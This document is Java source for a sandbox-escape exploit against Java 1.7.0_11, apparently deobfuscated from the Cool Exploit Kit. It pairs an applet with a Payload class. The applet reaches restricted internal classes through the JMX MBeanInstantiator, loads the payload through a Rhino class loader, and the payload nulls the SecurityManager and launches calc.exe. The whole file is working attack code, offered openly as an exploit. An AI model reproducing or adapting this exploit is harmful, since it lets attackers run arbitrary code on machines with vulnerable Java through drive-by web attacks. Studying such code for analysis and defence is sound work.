1. /*
  2. *   From Paunch with love (Java 1.7.0_11 Exploit)
  3. *  
  4. *   Deobfuscated from Cool EK by SecurityObscurity
  5. *
  6. *   https://twitter.com/SecObscurity
  7. *   http://security-obscurity.blogspot.com 
  8. */
  9. import java.applet.Applet;
  10. import com.sun.jmx.mbeanserver.Introspector;
  11. import com.sun.jmx.mbeanserver.JmxMBeanServer;
  12. import com.sun.jmx.mbeanserver.MBeanInstantiator;
  13. import java.lang.invoke.MethodHandle;
  14. import java.lang.invoke.MethodHandles.Lookup;
  15. import java.lang.invoke.MethodType;
  16. import java.lang.reflect.InvocationTargetException;
  17. import java.lang.reflect.Method;
  18. import javax.management.ReflectionException;
  19. import java.io.*;
  20.  
  21. public class PaunchGift extends Applet
  22. {
  23.  
  24.   public void init()
  25.   {
  26.    
  27.     try
  28.     {  
  29.            int length;
  30.            byte[] buffer = new byte[5000];
  31.            ByteArrayOutputStream os = new ByteArrayOutputStream();
  32.            
  33.            // read in the class file from the jar
  34.            InputStream is = getClass().getResourceAsStream("Payload.class");
  35.            
  36.            // and write it out to the byte array stream
  37.            while( ( length = is.read( buffer ) ) > 0 )
  38.                os.write( buffer, 0, length );
  39.                
  40.            // convert it to a simple byte array
  41.            buffer = os.toByteArray();
  42.            
  43.           Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
  44.          
  45.           Method method = getMethod(class1, "enter", true);
  46.           Object obj = method.invoke(null, new Object[0]);
  47.           Method method1 = getMethod(class1, "createClassLoader", false);
  48.           Object obj1 = method1.invoke(obj, new Object[1]);
  49.    
  50.           Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
  51.           Method method2 = getMethod(class2, "defineClass", false);
  52.          
  53.           Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
  54.           my_class.newInstance();
  55.           Method m_outSandbox = my_class.getMethod("outSandbox", new Class[0]);
  56.           m_outSandbox.invoke(null, new Object[] {});
  57.      
  58.     }
  59.     catch (Throwable localThrowable){}
  60.    
  61.   }
  62.    
  63.  
  64.    private Method getMethod(Class class1, String s, boolean flag)
  65.   {
  66.     try {
  67.       Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
  68.       Method[] amethod1 = amethod;
  69.      
  70.       for (int i = 0; i < amethod1.length; i++) {
  71.         Method method = amethod1[i];
  72.         String s1 = method.getName();
  73.         Class[] aclass = method.getParameterTypes();
  74.         if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
  75.       }
  76.     } catch (Exception localException) {  }
  77.  
  78.     return null;
  79.   }
  80.  
  81.   private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
  82.   {
  83.     Object obj = null;
  84.     JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
  85.     MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
  86.        
  87.     Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
  88.     Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
  89.     return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
  90.   }
  91.  
  92. }
  93.  
  94. ###############################################
  95. import java.lang.reflect.Method;
  96. import java.security.AccessController;
  97. import java.security.PrivilegedExceptionAction;
  98.  
  99. public class Payload implements PrivilegedExceptionAction
  100. {
  101.    
  102.     public Payload()
  103.     {
  104.         try
  105.         {
  106.             AccessController.doPrivileged(this);
  107.         }
  108.         catch(Exception exception) { }
  109.     }
  110.  
  111.     public Object run() throws Exception
  112.     {
  113.         Class cl = System.class;
  114.         Method m = cl.getMethod("setSecurityManager", new Class[] { SecurityManager.class });
  115.         m.invoke(null, new Object[1]);
  116.         return null;
  117.     }
  118.  
  119.     public static void outSandbox() throws Exception
  120.     {
  121.         Runtime.getRuntime().exec("calc.exe");
  122.     }
  123. }